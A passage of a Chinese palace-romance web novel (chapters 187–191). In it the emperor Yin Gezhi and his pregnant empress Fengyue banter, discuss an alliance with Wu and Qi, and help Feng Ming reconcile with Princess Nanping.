少女的情窦初开,不在花前月下,倒是在那黄沙漫天的战场上,在偃月刀滴下来的鲜血里,在那人没有情绪的眉眼间。
她不是会贸然糟蹋自己身子的人,当真是很喜欢、很喜欢他,才会在即将成亲之前,夜而奔之。不过她也不是个擅长表达的人,不会一点点地说自己的感情,不管是大军归朝前的那个晚上,还是四年前最后的那一场缠绵,她都没来得及开口说什么。
“你还没回答我的问题。”殷戈止的声音**来,打断了那一段满是铁锈味儿的回忆。
风月抬眼,看着这眉目如初,气息却亲近了不少的人,调皮一笑:“你问,我就要答?”
不悦地看她一眼,殷戈止道:“你可以不答,但你不答,我便当做是你害羞。”
“害羞怎么了?”风月挑眉:“我脸皮这么薄的人,当然会害羞了!”
郁闷之气顿消,殷戈止神色柔和下来,睨着她,眼波流转。
被这无边的美色迷了眼,风月脸上微红,恼羞成怒:“你想什么呢!”
伸手将柜子上的梅干罐拿下来放进她怀里,殷戈止淡淡地道:“没什么,只是觉得这个答案很好。”
他的皇后,虽然粗鲁狡诈又别扭,可一旦害羞,那眼里的水光滴溜溜乱转,当真是煞为好看。其实原因稍微一想也能想到,他不过是想听她亲口说。她要是不愿说,那也就罢了,就这害羞的模样便足矣。
指尖一挑,从她下巴尖儿上划过,殷戈止直起身子,悠然地道:“随朕一起送尹将军出征吧。”
这话跳跃得也太远了!风月皱眉,嚼着梅子道:“陛下当了皇帝,就不想自己打仗了?”
目光从她的脸上一路划下去,落在她尚还平坦的肚子上,殷戈止心情沉重地道:“你一向不让人省心,我得看着你胜了
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这一仗,才敢上真正的战场。”
“啥叫我不让人省心啊?”风月怒了:“我带的兵,压根就没有过败绩!”
“可是前天你吃饭打碎了碗,昨天睡觉差点从床上摔下去。”沉了脸色,殷戈止眯眼看着她:“今儿一大早还企图偷酒喝!”
刚积攒起来的怒气瞬间就没了,风月有点怂地缩了缩脖子:“那都是意外……”
“别意外了,我说什么你便做什么吧。”冷着脸,殷戈止道:“要是违背,军法处置。”
想了想,又补上一句:“处置不了你,灵殊替你顶着。”
脸一垮,风月捏着帕子捂着眼睛就开始哭:“陛下!您以前不是这样的啊陛下!说好的宠着臣妾,尹将军他们还没出发呢,您就要卸磨杀驴了?”
“鸟飞弓藏,兔死狗烹。”佯装凶恶地瞪着她,殷戈止咬牙道:“你给朕老实点!”
说罢,扭头就抱了折子去软榻上批改。
灵殊和观止站在外头,冷不防就听见皇后娘娘打开窗户对着外头唱:“秋末树枯黄呀——凄凄凉凉!负心薄情郎呀——使我哀伤!当时说得好呀——情意绵长!可怜我肚子大呀——被抛下堂!”
一时间宫中震惊,听见声音的宫人都急急忙忙地过来围观,想看看发生了什么事儿。好歹是入主中宫的娘娘啊,这才多久,怎么就一副怨妇的模样了?
瞧着四周人越来越多,风月兴奋了,捂着假哭得更加卖力:“我的个心呀——我的个肝!遇人不淑啊——悔青了肠!”
这声音之凄惨,见着是闻者伤心听者落泪。外头的小宫女都忍不住低声道:“这是怎么的呀?皇后好歹还怀着身子,皇上怎么能这般对她?”
“你知道个什么?”旁边年纪大的宫女哼声道:“都说咱们新帝为人风流,定然是不会只立一个皇后,令宫中空着的。这不,肯定是要纳妃了,皇后才会这么伤心。”
“纳妃也正常呀,至于这么哭么?咱们陛下那万中挑一的模样,想当皇妃的人定然会挤破头,到时候前朝大人们施压,宫里可不就会新添人么?”
“我倒是觉得,皇上很宠爱皇后娘娘,应该不会这么快纳妃吧?”
一群人七嘴八舌的,最后竟然因为意见不同吵了起来,声音都盖过了风月的哭喊声,吓得她缩了缩肩膀。
屋子里捏着折子听了半晌热闹的人终于起了身,走到窗台边,面无表情地问:“想下来吗?”
“想!”乖巧地点头,风月伸手就搂住了这人的脖子,笑嘻嘻地借着他的力道下了窗台。
清冷的目光扫一眼窗外,殷戈止低头,轻轻在怀里这人的头顶上一吻。
“朕不会纳妃。”他道:“你也成不了怨妇。”
这声音不大不小,却刚好能让外头的人都听个清楚。风月眨眼,扫了扫外头匆忙跪下的众人,歪了歪脑袋问他:“陛下,您这是……在给臣妾找场子?”
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第188章 心疼他一下吧
知道你还问?殷戈止没好气地道:“不,朕这是稳定人心。”
那可真是太稳定了!看一眼外头长跪不起的宫人,风月直咋舌,都稳在地上不敢起来了!
“你刚唱的是什么东西?”挟持一般的拖着人往内殿走,殷戈止面无表情地道:“就你这样子,要不还是在宫里待着,别去给尹将军他们送行了。”
“那怎么行?!”风月瞪眼,立马甩开他:“我这样子怎么了?”
还怎么了,这哪里是皇后娘娘啊,分明是个市井泼妇。真这么大大咧咧地去在百官面前送行,估计第二天他桌上的奏折就全是参她的了。
“您放心啊,臣妾绝对不添乱!”拍着胸口保证,风月道:“要是添乱了,您只管罚观止!”
躲在旁边都挨刀的观止哭笑不得:“娘娘,为什么是罚属下?”
“陛下说的啊,我犯错,罚灵殊。”风月扭头看着他:“你说说,灵殊那小身板怎么扛得住军法?不还得你来么?”
有道理,但怎么觉得哪里怪怪的?尤其是看皇后娘娘这一脸无所畏惧的表情,他心里凉得慌。
殷戈止摇头,转身回去继续看折子,没再理会她,心里其实还是不放心。
可没想到,等到要亮脸盘的时候,风月还真能挺扛得住场面。
一袭金银缎绣鸾鸟拜凤朝服披身,六支鎏金瓒凤钗压头,柳眉重扫,朱唇点绛,风月双手交叠身前,挺直腰杆一步步地随他走到杨柳台上。下头的文武百官瞧着,皆微微颔首,眼带敬意。
殷戈止有点意外,睨着她这端庄大方的模样,忍不住低声问:“谁家妖精附身到了朕的皇后身上?”
抬起袖子挡着点脸,风月瞪他:“臣妾这也是给您挣面子呢!挤兑的话回去再说成不成?”
微微勾唇,殷戈止颔首:“成。”
于是,尹将军等人就目瞪口呆地看着风月以极为标准的礼仪姿态在皇帝身边站了半个时辰,到皇帝授旗的时候,她还恭敬地接了旗子,迈着礼步,微微颔首递给了他们。
“此一去,便是男儿建功立业、保家卫国之时,还望将军们保重。”她抬眉,眼神坚毅,颇有英气,不似宫中女娇娥,倒让尹衍忠想起当年战场上的真绝色。
感慨万分,尹衍忠伸手接过战旗,跪下行礼:“谢主隆恩。”
末了,小声加上一句:“娘娘保重。”
风月笑着颔首,看着他们起身,齐齐往后退上五步,然后转头,整齐地往前走。
“你的人都走了。”殷戈止瞧着,突然说了一句:“以后朕若是欺负你,你也找不到地方告状了。”
惊恐地看他一眼,风月眼珠子乱转,顾着仪态,低声问:“陛下,臣妾现在跟他们一起走,还来得及么?”
“来不及了。”一脸惋惜地摇头,殷戈止伸手,捏了她的手腕便摆驾回宫。
风月这一路上都战战兢兢的,时不时看一眼殷戈止的侧脸。都说帝王心思难测,喜怒不定,伴君如伴虎啊!她这阵子活得那般肆无忌惮的,会不会惹怒了他而不自知,然后现在他才来算总账?
察觉到自己捏着的人在微微发抖,殷戈止眯眼,脸色突然就阴沉了下来:“你在害怕?”
“陛下。”咽了口唾沫,风月侧头看他:“您都说那样的话了,臣妾都不能害怕一下?”
对上她认真的眼神,殷戈止沉默,垂了眸子,好生反思了一番。
是不是他对她好得不够明显,总是藏着掖着的,所以她当真以为,他会翻脸不认人?
太医说怀着身孕的人不能情绪起伏太大,不能担惊受怕,那他先前的策略,是不是就该变一点儿?
认真地想了许久,殷戈止缓了神色,等马车到了地方,便下去,伸手将车上的人抱下来,温和地问:“午膳想吃什么?”
眼里的惊恐比方才更甚,风月颤颤巍巍地从他怀里下来,退后了两步:“陛下说吃什么,那便吃什么。”
“你躲什么?”往她的方向跨了一步,殷戈止想皱眉,又忍了,眼神温柔地看着她道:“朕又不会吃了你。”
这种表情,配着这句话,风月瞬间有一种看见大尾巴狼的感觉,扭头就喊:“灵殊!”
“主子?”灵殊过来,伸手扶着她,满脸茫然。
“咱们回宫去!”低声说了一句,风月抬头,冲殷戈止假笑:“陛下您自己用午膳吧,臣妾…臣妾还想回中宫去看看。”
心里沉了沉,殷戈止眯眼,很想一把将人拎进龙涎宫,可看看她那害怕的模样,他沉默,有些恼怒地挥了挥袖子。
如获大赦,风月端庄地捏住袖口,迈着莲花碎步就带着灵殊一路狂奔。
“主子?”灵殊没看明白,一边跟着走一边问:“发生什么事儿了?”
“你没看见陛下不太对劲么!”风月心有余悸:“他平时怎么可能那么温柔地说话啊?摆明了是有问题!”
灵殊一愣,想了想,叹了口气。她说什么来着?让陛下好生对主子吧,他不听,非得调教主子,主子这个性是能调教的吗?搞不好还会搬起石头砸自己的脚。
感情是最经不起算计的。
“主子。”想了想,灵殊问:“您觉得陛下对您如何?”
风月微顿,想了想,道:“说实话我不太敢下定论,你要说对我不好吧,那不可能,我又不是傻子,当然能感觉到他对我好。可你要说他对我死心塌地吧,那也没有,他还是跟以前一样让我看不透,不知道他心里在盘算什么。”
灵殊眨眼,一脸天真地道:“当局者迷旁观者清,依奴婢看,陛下不会在您身上盘算什么,他至多会想,要怎么才能让您放下全部的心防。您觉得他看不透,他可能同样也觉得您看不透。”
到底是从生死边缘上拉回来的人,殷戈止担心失去她,自然会费尽心思将她留住。那件大事过去的时间还不够长,两人之间的隔阂也没有完全消失,要说风月忐忑,其实最忐忑的还该是殷戈止。
好几回灵殊守夜,半夜都能听见帝王起身的动静,大概是被噩梦惊醒的,殷戈止总是在黑暗里轻轻喘息,然后低头看着
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身边睡得熟透了的自家主子,一看就是许久。那双月光流转的眼里深不见底,不知道在想些什么。
看似强大无所畏惧的帝王,心里早就有了柔软的地方,那地方还插着一把没拔掉的刀子,瞧着都让人唏嘘。
停了步子,风月扭头看着灵殊:“你最近为什么越来越爱帮他说话了?”
无辜地眨眨眼,灵殊道:“主子,奴婢都是说实话,陛下实在挺辛苦的,您也多少心疼他一下。”
殷戈止需要心疼吗?风月不解,他看起来像座永远不会融化的冰山,不知道累,不知道饿,脸上什么表情都没有,也从来不曾需要过谁的帮助。在他身边,她觉得自己挺多余的,反正他什么事都能一个人做好,连跟她说一声都没必要。
不过……想想那张最近瘦了点的脸,风月眯眼,摸着下巴想了一会儿,道:“午膳还是炖一只鸡,放点补脑子的药材吧。”
说罢,转了身,往御膳房的方向走去。
殷戈止沉默地看着折子,武泽不知什么时候来的,站在他面前神情严肃地道:“兵力匮乏,民间征来的兵也无法马上送去边关,吴国的意思,想同咱们借粮,三司使的折子在这里。”
接过他递过来的折子扫了一眼,殷戈止嗤笑:“真不愧是叶太子,半点不肯吃亏,魏国出十万士兵不够,他还想要粮食。”
武泽叹息:“齐国一方暂时停战观望,微臣觉得,不管这抗宋之战能不能赢,魏国都已经是岌岌可危。”
输赢都会元气大伤,齐国坐收渔利,直接从北面攻下魏国十几座城池,那魏国也算是完了。
“想坐山观虎斗,也要问问吴国答不答应。”抽了一支毛笔,殷戈止一边写信一边道:“这封信让人送给吴国太子,另外,把这份齐国秋收屯仓的汇报奏折一并送去。”
吓了一跳,武泽接过东西来看:“齐国的秋收屯仓汇报?”
“齐国产粮数量一向可观,今年尤甚,朝廷屯粮数量是我魏国的三倍。再加上这条很是方便的运粮路线,叶太子会好生考虑的。”殷戈止道:“另外,你放今年欠收之地的灾民进澧都吧,好生管制,适当放些米粥。”
“是!”愣愣地应了,武泽接过东西出门,踏出龙涎宫,才回过神来。
皇上怎么会有齐国的秋收屯仓汇报的?!
有些疲惫,殷戈止靠在椅子上,轻轻揉了揉眉心。上位者,得掌控全局,方能运筹帷幄,眼下吴、齐、宋等与魏国多有关联的国家,他都有内应,可宋国的内应派不上什么用场,到时候还得是一场硬仗。莫说齐国虎视眈眈,吴国也不是全然好心一片,这等群狼围羊的局面,不是那么简单能破的。
正头疼呢,冷不防闻到了一股鸡汤的香味儿,殷戈止缓缓睁眼,却见那龙涎宫的殿门开了一条缝,有笑得灿烂的脑袋伸进来,将殿里的阴霾一扫而空。
“陛下,吃鸡吗?”
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第189章 给您举荐个人
有那么一瞬间,殷戈止以为是自己的错觉,怎么可能有人一笑,满殿的阴沉之气就都散了呢?
然而,定睛看了看,那影子没消失,反而是端着一盅子东西,轻手轻脚地进来了。
“瞧您有点费脑子。”伸手将炖好的鸡汤放在他面前,风月眉眼含笑,伸手就将香味儿往他鼻子下头扇:“来歇会儿呗?天麻炖鸡,臣妾亲自盯着他们做的!”
眼神微动,殷戈止盯着她,神情有些恍惚。
他突然就想起了以前的使臣府,这人也是很奇怪,私自将他冷清的府邸改得灯光盈盈,花香四溢。她就站在那台阶上,朝着刚回来的他微微屈膝。
即便过了这么久,每每想起那画面,他都仿佛能闻见那院子里的花香。
风月是个很古怪的人,常人看他神色严肃,都会怕他、远他,她偏不,像是看不懂人脸色一样,大着胆子靠近他、挑逗他。常人知他喜欢安静,都会小心翼翼生怕吵着他。她也不,偏生拉着他往热闹里头钻,完全不怕他生气。
就像现在,观止都能察觉他的暴躁,轻轻退出去,她却端着鸡汤进来,让他歇会儿。
轻轻一笑,殷戈止摇头,颇为无奈地拿起勺子,低声道:“你分明做的都是最容易让我生气的事,可我怎么就是气不起来呢?”
“啥?”满脸无辜,风月委屈地蹲在旁边睨着他:“臣妾让您用午膳,您还要生气?”
果然是伴君如伴虎!
斜她一眼,殷戈止尝了一口鸡汤,板着脸问:“你不是要回中宫么?”
“是打算回去来着。”挠挠头,风月耸肩:“可是走到半路灵殊说您最近挺辛苦,臣妾想想觉得也该心疼心疼您,所以去御膳房给您端个鸡汤。”
微微挑眉,殷戈止喝着鸡汤看着她,心想一定要找个时间好好奖赏灵殊一番了,小丫头实在很机灵。
“过来。”一手捏着勺子,一手朝她勾了勾,殷戈止大方地指了指自己身侧的位置:“别蹲着了。”
“好嘞!”起身跳到他旁边坐下,风月飞快地扫了一眼他面前摊开的各种折子,抿抿唇没敢多问,张口接着他递过来的一勺鸡汤,乖乖地喝着。
殷戈止没避讳她,甚至觉得她看这些折子也无妨。可瞧着这人的小眼神,好像不怎么感兴趣啊?
“这个,看得懂吗?”随手指了一份折子,殷戈止一边往她嘴里塞鸡汤一边问。
顺着他指的方向看了一眼,风月点头:“看得懂啊。”
“那你就没什么想说的?”
想说的?风月耸肩:“您这么厉害的人,这些事情肯定都能处理好,还要臣妾说什么?”
眯了眯眼,殷戈止很快就找到了症结所在。
他一直觉得她好像不是很关心自己,每次他在御书房里煎熬的时候,这厮都在宫里抓宫女玩儿!如今一听这话,皇帝陛下反应过来了——丫不是不想帮他,是觉得他太厉害了,什么都能搞定,不需要她帮忙,也不需要她照顾。
这怎么能行呢!就算他的确不需要帮忙,可也不能让她这么置身事外事不关己的啊!
眼珠子微微一动,殷戈止长长地叹了口气,眼睫垂下来,落在眼睑上,柔弱地颤动了几下:“朕又不是无所不能的神仙,自然也有处理不好的事情……这些事情搅在一起,已经让朕几天没睡安生了。”
说着,强行轻咳了两声,捂了捂心口。
风月眨眼,很是好奇地把那折子拿过来仔细看了看:“这不就是吴魏联合的相关事宜么?”
“是。”惆怅地叹了口气,殷戈止扶额:“先前叶太子想与魏国联合,的确是诚心的,因为魏文帝不懂打仗之事,只要能维护皇权,他会答应吴国很多条件。但现在,朕继位了,叶太子知道朕不好糊弄,能从朕手上占的便宜也不多,所以难免会有别的打算。”
微微一凛,风月坐直了身子:“您想得很周全,叶太子是什么事都干得出来的人。”
看着她陡然正经的神色,殷戈止微笑,一边舀着汤往她嘴里喂,一边道:“所以,朕一直在想,要如何在吴、齐两国之间寻得平衡之法,保住魏国。”
一拍大腿,风月道:“这种仗我打过!”
三方对峙,如何保住最弱的那一方?她先前带着一支一千人的后援队的时候,遇见过这个难题。本是去西山剿匪,却遇见了吴国的前锋营。山匪有地势,吴军有兵力,她很尴尬地被夹在中间。眼瞧着要全军覆没,她灵机一动,先派人上山与那群山匪谈判,反正她们这支援军一没,吴军也会踏破这座山头,与其一起被吴国人宰了,那好歹都是魏国人,先一致对外。
她答应山匪们的条件就是,放他们一马,并留给他们百件兵器。
山匪答应了,让他们共享地势,借高打低,关清越很漂亮地打了一场以少胜多的战役。但是打完之后,那群山匪很聪明,知道就算她不清剿他们,也会有别的军队来,所以干脆投到了她麾下,从良为兵。
“如今吴、齐、魏三国之中,论整体国力,那定然是吴国为最,齐国次之,魏国为末。”一边喝鸡汤一边比划,风月道:“但齐人不善战,先前不是还被封明带的兵打过一次大胜仗么?他们国力强是强在粮草充足,就好比那一窝山贼,强在地势。陛下真要求个平衡,不如派人与齐国好生拉近关系,再想法子让吴国对齐国产生威胁,接着便可以联盟了。”
两边都联盟,那一旦有一边要动手,另一边都不会坐视不理,最后三国混战,谁也收不了渔利。其他两国的国主又不傻,这种情况下想攻魏都得仔细掂量个一两年。
这一两年,魏国怎么也会恢复两成国力。
赞赏地将最后一口汤喂进她嘴里,殷戈止颔首:“朕的皇后,当真是很适合打仗。”
“那当然!”骄傲地一扬下巴,风月想伸手比个大力士的姿势。然而一看自己的手,还是恹恹作罢,哼声道:“就算不会打了,可
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说还是会说的。陛下要是觉得此事可行,臣妾想跟陛下举荐个人。”
“什么人?”
“金妈妈。”很是认真地看着他,风月道:“您要是想找人与齐国交涉,她再合适不过。”
嗯?有点意外,殷戈止挑眉:“金妈妈是齐国人朕知道,可若要去交涉……她以何身份?”
“以齐国皇妃的身份呐。”意味深长地笑了笑,风月眨眼:“您也没少收集齐国的情报吧?难道没听闻,五年前齐国皇帝很宠爱的妃嫔暴毙,引得齐国皇室内乱,差点起内讧的事情么?”
身子一僵,殷戈止眯眼。
五年前是有这么一件事,当时他收到消息,还惊叹过女人的影响竟然能这么大。不过……金妈妈?!
想起那略微富态,嗓门极大的老鸨,殷戈止摇头:“你一定是在同朕逗趣。”
“您还看不起金妈妈不成?”一瞪眼,风月道:“她把脸洗了可好看了,第一次遇见她的时候,我还当是遇见仙女了呢!就是嗓门大了点而已。当时她差点被人掳走卖了,我让秋夫人把她救下来,养了好一阵子才把精神养回来。”
那时候的金妈妈眼里没什么光,瞧着就知道是觉得活着没意思了的人。她笑眯眯地看着人家道:“我就需要您这样不想活了的人,不想活的人才能不要命,不要命的人才适合替我做事。”
于是接下来,金妈妈就看见了各种各样怀着仇怨的姑娘,她呆呆地坐在她们中间听故事,悲惨的事情听得多了,反而觉得自己的遭遇就不算什么了。
某一天晚上,金妈妈去了风月的屋子里,哭着将自己的故事说了一遍。
她是以歌女的身份入齐宫为妃的,也是因着爱慕齐国皇帝,相信有他护着自己,自己能在那深宫里活下去。然而没有想到,齐国皇帝畏惧太后,压根保不住她,她在宫里挣扎了几年才生了个孩子。本以为日子会好过了,谁知道因着她身份卑微,她的孩子必须要抱去给别的娘娘养。
金氏崩溃了,皇帝也没能帮她什么,就只能看着她日渐消瘦。宫里有好心的娘娘,说送她出宫去找家人,金氏也觉得在宫里没什么意思,儿子没了,心爱的男人也总是不来看她,于是她就出了宫。听闻家人已经逃到吴国,便跟随而来,谁知道一切都是个骗局,她的家人早就**,那好心的娘娘也不过是为了除去她,所以将她骗出宫。
把这些事说出来,金妈妈反而觉得轻松了,脸上有了笑意,学着院子里的姑娘们抛了个媚眼:“故事讲完了,东家,我可以替您做事了。”
所以后来,梦回楼里就有个嗓门极大妆容极厚的老鸨,插着腰吼着一众姑娘,声音响彻四方。
殷戈止呆愣地听着,微微揉了揉额角,终于还是忍不住道:“你这梦回楼,还真是什么人都敢藏!”
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第190章 感激和感情
“过奖过奖。”风月很不要脸地笑道:“都是机缘巧合,也不是刻意招这么一堆神佛的。”
殷戈止沉默,眼里光芒闪烁。让金妈妈随使臣团一起去齐国,时机恰当的话,的确是能给魏国带来好处。但这丫头这个这样提议,多半也是想给金妈妈出口恶气吧。
一举两得的事情,他一向很乐意做。
稍微一思量,心里便有了主意,殷戈止松了口气道:“有你帮忙,当真是能让朕轻松不少。”
真的吗?眼里“刷”地就亮起了灯,风月高兴地拍了拍他的肩膀:“不客气,大家都是一条船上的人!臣妾再去给您盛碗汤?”
将空碗放进她手里,殷戈止颔首:“盛两碗吧,你似乎没吃饱。”
看了看这完全被自己吃空的碗,风月老脸一红,嘿嘿笑着就捏了碗出去。
“主子。”看着她这神情,灵殊忍不住问:“您怎么这么高兴啊?”
“也没啥。”眯着眼睛笑,风月道:“就是突然觉得他像个人了。”
两个人在一起过日子,要是一方事无巨细一手包揽,半点也不需要另一方,那另一方的感觉是很糟糕的,再被宠也有一种不被需要的感觉。风月就一直有这样的感觉,甚至偶尔会想,这人是不是因为想赎罪,所以才对她好的啊?
但是今儿这一碗鸡汤下去,她突然发现,殷戈止还是需要她的嘛,帮忙想法子也好,盛汤也好,她好歹也能做事,那心里自然就舒坦多了。
灵殊眨眼,别有深意地点头。
于是接下来,魏孝帝就更有人情味了,竟然还生起病来。
风月赶到的时候,就见他已经双眼迷离,却还捏着折子坐在软榻上。
“命重要还是折子重要啊?”风月皱眉,一把将人压下去躺着,让观止把折子统统收起来,一脸严肃地摸了摸殷戈止的额头。
“我的天,灵殊!赶紧拿个鸡蛋来在陛下额头上煮了!”风月黑着脸低喝。
都烫成这样了还看折子呢?这人到底有没有脑子?懂不懂什么叫“留得青山在不愁没柴烧”?她这么年轻,肚子里还有个孩子呢,可不想就莫名其妙守寡了!
抬眼看着她这气急败坏的模样,殷戈止心窝里暖得厉害,抿着嘴唇轻轻伸手,拉着她的手摇了摇。
风月一愣,低头就看见这人眉眼间一片柔软的撒娇之意:“朕没大碍。”
“这还叫没大碍?”一听这话风月就怒了:“折子非看不可?!”
“是啊。”声音沙哑地回答她,殷戈止垂眸:“都是紧急的折子。”
“那我帮你看!”一撩袖子,风月起身就道:“你怎么想的我都知道,就按你的法子去改,完事了再说。你先给我躺着!”
说罢,拿了折子过来,一屁股坐在他旁边,像他时常盯着她休息的那样,一边写朱批,一边拿眼角余光看着他。
烧糊涂了的殷陛下轻笑,捂着心口道:“原来你每天的心情是这般的满足。”
“什么?”从折子里抬头,风月一脸莫名其妙地看着她。
殷戈止笑而不语。
他看着她这紧张的样子就觉得心里踏实,有股子暖流围着心脏四周来回萦绕。那她每天被他这样盯着,是不是也是这样的感觉?
本来还有些急,毕竟事务繁多,他病了就会来不及处理。可眼下实在是太舒坦了,以至于殷戈止突然想偷懒,再多病两天就好了。
他想得没错啊,面前这个人当真是很喜欢他,从多年前开始就喜欢着他,偷偷跟着他,看着他的一举一动,大胆放肆地跟他相爱,又在多年之后再度遇上他,与他纠缠。
当时掉进他怀里的人,是媚眼如丝、风情万种的,半点没叫他瞧出不对劲。可现在一想,当时的关风月,怕是一颗心都要跳出喉咙了,又怕又喜,又惊又怒,跟她那谄媚妖娆的表象完全不同,就像他心里骤然起了波澜,完全不如面上那般平静一样。
从始至终,从头到尾,这一场相思,都不只是一个人的。
真好。
“您还在寻思什么呢?”面前的人凶巴巴地吼了起来:“还不闭眼休息?!”
勾了勾唇,殷戈止躺回枕头上,安心地闭上眼。
路修完了,接下来得带着她,大步往前走才行。
年尾的时候,魏国在西北边境上与宋国有了第一次的正面交锋,魏国只三万人,宋国十万,这一场仗打得惊天动地,尹衍忠巧借地势,硬生生挫了宋军三万余人,带残余九千多人死守围城,等来援兵,前后夹击,打了一场漂亮的胜仗!
消息传回去,魏国上下一片沸腾。澧都正值春祭,风月挺着大肚子,笑得热泪盈眶:“尹将军真厉害!我就知道,他一定能给咱们起个好头!”
封明一脸惊恐地看着她的大肚子,直摇头:“娘娘,您坐下来说话!”
伸手拿了帕子在她脸上一抹,又将人按回软榻上,殷戈止优雅地朝他颔首:“见笑。”
这一脸“我老婆我骄傲她爱怎么笑怎么笑”的表情,看得封明黑了半边脸。
都半年过去了,这人怎么还是防着他的?一见面就得怼他两下,不然不舒服似的!
撇了撇嘴,封明扭头看着风月问:“娘娘最近身子还好么?听人说怀着身孕到五六个月的时候最是难熬。”
“还行。”捏了捏自己,风月笑道:“我身子骨还算结实的,带个球在肚子上不算什么。况且陛下很是照顾,没事就给我补身子,陪着我四处转悠呢,不会有什么大问题。”
点点头,封明垂眸,瞧着有几分感慨的模样。
盯着他看了看,风月突然眯眼道:“对了,封将军今儿进宫来,是有什么事么?”
“没……”有些躲闪地转开视线,封明道:“就是来看看娘娘过得怎么样。”
“是吗?”回头看了一眼殷戈止,风月笑得焉坏焉坏的:“那看我过得不错,将军可以放心回府了。”
“……”挠挠头,封明皱眉:“我再坐会儿。”
“有什么好坐的?”殷戈止淡淡地道:“这儿可没有人给
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将军做点心,也没人给将军补衣裳。”
脸色微沉,封明捏紧了拳头。
南平进宫已经两天了,本以为她昨天会回去的,结果左等右等等不到人,他才反应过来,自己可能是惹人生气了。
成亲半年,南平一直对他很好,他对她有愧,自然也不会薄待她,两人一直相安无事。但前几日,他想着风月肚子已经大了,于是请了个产婆回来问问,想知道生产会有什么危险。南平本来还挺高兴的,可一听他的目的,便黯淡了眼神,二话没说就回房去了。他当时没在意,直到她说想回宫住住,他才觉得有点不对劲。
虽然察觉到不对劲了,但他也不知道怎么开口啊。所以只能看着她走,心想她顶多也就是住一晚上就回来了。
结果直到现在,他也没见着南平的影子。
封明说话一向很直,南平在成亲当晚问他是不是心里还有人,他就答了是。本以为她会生气,结果她说没关系,她很好,会让他慢慢把人放下的。
的确是很好啊,堂堂公主,却不矫情不娇气,什么都做,哄得镇国侯和老夫人都开开心心的,下人也服她。到换季的时候,她还给他做了两套衣裳,穿出去人家都夸手艺好,问他在哪儿买的。他晚上容易饿,她也就养成了准备好点心半夜给他吃的习惯,半点也不嫌麻烦。
这么好的媳妇儿,上哪儿找去?
结果现在,他把人气得回娘家了,没影子了。封明低头反思,他该怎么做才能把人哄回去啊?
瞧着他这表情,风月连连朝殷戈止使眼色,后者会意,眼神深邃:“时候不早了,将军还是先回去吧。”
“……陛下。”封明回神,皱眉道:“南平公主不一起回去么?”
殷戈止皱眉:“她什么时候回去,朕做不得主。说起来,朕还没问过,她是为什么突然回宫了?还关在招舞宫里不吃不喝的。”
什么?!封明惊了一跳,皱眉看向他:“不吃不喝?”
“是啊。”风月严肃着脸点头:“问她怎么了,也不肯说,只说想一个人呆着。”
心口一沉,封明立马起身拱手:“陛下,臣想去见公主一面。”
“你们已经成亲,想见面朕自然拦不着。”殷戈止沉声道:“但莫怪朕没提醒你,封明,南平是个善良的姑娘,有什么事情都会闷在心里,你压根不会看出她不高兴,她甚至会说自己什么事都没有。可偏生是这种人,最易伤心。”
想起她那有点可怜的模样,封明叹息:“臣会好生认错。”
“去吧。”风月摆手:“希望你想得清楚,这两个人的日子,到底该靠着什么过,是感激,还是感情。”
微微一愣,封明深深地看了她一眼。
他是个固执的人,要他放下从前的感情,没那么容易。他对南平只是愧疚,但就算只是愧疚,他也得把人先接回去才行。
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第191章 迟来的客人
转头出了龙涎宫,封明直奔招舞宫而去,心想南平那样冷静聪慧的姑娘,怎么也会闹不吃不喝呢?这都几天了,也该饿坏了。不喜欢归不喜欢,人心总是肉长的,她对他那般好,他总不能看着她饿死。
“驸马爷?”一到招舞宫门口,便听见南平的贴身丫鬟秋水欣喜地喊了一声:“您怎么来了?”
来不及理会她,封明摆摆手便往宫殿里头走,结果还没走进去呢,就见南平迎了出来,脸上带着点意外地看着他。
她看起来精神还好,眼里也没有委屈的神色。封明刚想松了口气,可转念一想皇帝说的话,他的眉头便又皱了起来:“你为什么不回去?”
南平一愣,揉了揉手里的帕子:“我想回来陪陪皇兄和皇嫂,皇嫂肚子不是大了么?我就想着多看她几日。”
“你皇兄能把她照顾得无微不至,哪里还用得着你来看?”没好气地说了一句,封明拉着她的手就往外走:“先同我回去吧。”
“将……将军。”被他拽得踉跄两步,南平有些愕然:“您今儿是怎么了?”
以往看他,总像一潭死水,眼下却不知道是谁往死水里投了石头,让他整个人都绕在一股子焦躁的气息之中。
脚步一顿,封明回头看她,眼里满满都是愧疚:“你不高兴可以同我说的,不要闷在心里。”
啥?南平怔愣,满脸不解地道:“我没有不高兴啊?”
果然跟皇上说的一样,这傻丫头难过也会说自己没事,看着跟真的没事一样!
眼里愧疚更浓,封明低头道:“公主下嫁,本就受了不少委屈,我这个人又粗枝大叶,不太懂小女儿家的心思。公主要是觉得我伤了你的心,或者是做得不恰当,可以直接告诉我,不要再回宫躲着了。”
南平一脸懵然,呆呆地顺着他的话点头:“我会直接跟将军说……可是将军,我当真不是因为生气躲回宫的。”
“那是为何?”
“您不是担心皇嫂么?”南平认真地道:“最近府里没什么事,所以我来宫里替您看着,您不方便经常进宫呀,我住两日,能把皇嫂平日里的情况都摸清楚,回去跟您说了,您也好放心些。”
封明愣了,目瞪口呆地看了她好一会儿,接着就感动得不能自已。
多好的姑娘啊!竟然这般为他着想!回来照顾他的心上人,就为了让他放心?
封明爱关清越爱了很久,将所有扑上来的姑娘拒之门外,所以他没尝过被人爱的感觉。骤然在南平身上看见自己的影子,他眼眶有点发红,张开双臂,上前就抱住了南平。
“将军不用这么感谢我。”拍了拍他的背,南平笑道:“小事而已。”
小事吗?换做是他,为了关清越放心,要去照顾殷沉璧……他真怕自己会一拳打死他丫的!南平心里一定很难受,可她懂事,不会告诉他,就这么一个人憋着,在夜里辗转反侧。
一想到她这张脸上会出现伤心欲绝的表情,封明心里一紧,沙哑了声音:“抱歉。”
好端端的又道什么歉那?南平失笑:“将军今日怎么跟中了邪似的?”
松开她,封明用满是怜爱的目光看着她道:“咱们回家吧。”
这话南平听着很窝心,点点头便应:“好啊。”
于是,殷戈止带着风月来偷看的时候,就看见封明满脸悲伤地在前头走着,南平高高兴兴地在后头跟着。
“嘿,怎么这么奇怪啊?”风月挑眉:“听南平说的那些话,他俩在一起,不是应该南平更悲伤吗?这瞧着怎么反过来了?”
殷戈止别有深意地道:“封明是个单纯的人。”
太好骗了!
眼珠子一转,想起他方才给封明说的那些话,那都是一个个的套啊!风月啧啧两声,叹了口气:“当你的妹妹,还真是受不了什么委屈。”
